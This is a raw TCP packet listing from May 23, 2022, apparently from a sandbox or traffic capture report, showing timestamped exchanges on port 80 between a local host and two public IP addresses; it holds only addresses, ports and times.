May 23, 2022 09:11:02.426217079 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.426232100 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.426273108 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.426311016 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.426389933 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.426410913 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.426430941 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.426430941 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.426445961 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.426465988 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.426470995 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.426506042 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.426568031 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.426606894 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.426615000 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.426637888 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.426651001 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.426667929 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.426697016 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.426733017 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.426824093 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.426846027 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.426867962 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.426870108 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.426884890 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.426888943 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.426901102 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.426923037 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.427054882 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.427074909 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.427097082 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.427103996 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.427119017 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.427119017 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.427139044 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.427159071 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.427280903 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.427299976 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.427325010 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.427340984 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.427342892 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.427362919 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.427381992 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.427397013 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.427400112 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.427433968 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.427443981 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.427465916 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.460760117 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.460809946 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.460830927 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.460850000 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.460870028 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.460887909 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.460906029 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.460922003 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.460922003 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.460938931 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.460944891 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.460951090 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.460956097 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.460969925 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.460978985 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.460983992 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.460998058 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.461009979 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.461015940 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.461024046 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.461031914 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.461039066 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.461055994 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.461086988 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.461105108 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.461119890 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.461132050 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.461189032 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.461220980 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.461222887 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.461246014 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.461251974 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.461268902 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.461276054 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.461287022 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.461297989 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.461303949 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.461313963 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.461329937 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.461364031 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.461383104 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.461395979 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.461400986 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.461409092 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.461417913 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.461426020 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.461441994 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.461585045 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.461610079 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.461622000 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.461630106 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.461636066 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.461649895 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.461652994 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.461673021 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.461678982 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.461697102 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.461704969 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.461714983 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.461719990 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.461733103 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.461747885 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.461759090 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.461859941 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.461891890 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.461920977 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.461941957 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.461952925 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.461957932 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.461970091 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.461987972 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.462038994 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.462061882 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.462071896 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.462080002 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.462088108 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.462096930 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.462105036 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.462120056 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.462229967 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.462250948 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.462263107 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.462275028 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.462276936 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.462294102 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.462305069 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.462310076 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.462318897 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.462327003 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.462337017 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.462352037 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.462409019 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.462429047 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.462443113 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.462446928 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.462455988 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.462471962 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.462477922 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.462507963 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.462605953 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.462622881 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.462641954 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.462655067 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.484946966 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:05.056498051 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.086030960 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.086150885 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.086694002 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.115926981 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.140671968 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.140707970 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.140724897 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.140743017 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.140759945 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.140778065 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.140783072 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.140794992 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.140805960 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.140809059 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.140811920 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.140830040 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.140835047 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.140847921 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.140849113 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.140866995 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.140877008 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.143882036 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.170115948 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.170149088 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.170166969 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.170183897 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.170200109 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.170201063 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.170214891 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.170227051 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.170231104 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.170238972 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.170279980 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.170290947 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.170306921 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.170322895 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.170335054 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.170346975 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.170361042 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.170362949 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.170388937 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.170391083 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.170418024 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.170505047 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.170528889 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.170547009 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.170550108 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.170563936 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.170568943 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.170594931 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.170639038 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.170656919 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.170677900 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.170697927 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.170975924 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.201356888 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.201390028 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.201406956 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.201426029 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.201442957 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.201458931 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.201503992 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.201581001 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.201642990 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.201662064 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.201673985 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.201704979 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.201754093 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.201772928 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.201803923 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.201827049 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.201857090 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.201872110 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.201884031 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.201895952 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.201932907 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.201953888 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.201973915 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.201989889 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.201992035 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.202006102 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.202006102 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.202023983 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.202039957 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.202040911 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.202047110 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.202056885 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.202066898 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.202071905 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.202100039 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.202128887 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.202162027 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.202164888 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.202198982 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.202209949 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.202230930 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.202261925 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.202291965 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.202316999 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.202318907 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.202327967 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.202336073 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.202354908 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.202373981 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.202418089 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.202434063 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.202451944 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.202455044 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.202471972 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.202486992 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.202505112 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.202536106 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.202558041 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.202569962 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.202575922 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.202596903 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.202604055 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.202608109 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.202635050 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.202682972 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.202717066 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.202800035 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.202822924 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.202843904 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.202846050 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.202866077 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.202883005 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.202892065 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.202924967 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.203325033 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.203336000 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.204063892 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.237323046 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.237354040 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.237373114 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.237391949 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.237407923 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.237421036 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.237425089 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.237441063 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.237442970 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.237443924 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.237452984 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.237461090 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.237469912 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.237478018 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.237488031 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.237494946 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.237500906 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.237513065 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.237520933 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.237535000 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.237546921 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.237564087 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.237567902 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.237581015 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.237581968 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.237597942 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.237600088 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.237616062 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.237632990 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.237658024 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.237689972 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.237822056 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.237862110 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.237862110 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.237879992 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.237896919 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.237910986 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.237946987 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.237953901 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.237981081 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.237997055 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.238013983 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.238024950 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.238032103 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.238039017 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.238049030 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.238058090 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.238086939 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.238265038 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.238327026 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.238344908 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.238362074 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.238368034 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.238384008 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.238387108 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.238396883 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.238415003 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.238570929 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.238596916 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.238617897 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.238631964 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.238651037 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.238667965 CEST	80	49176	107.189.3.39	192.168.2.22
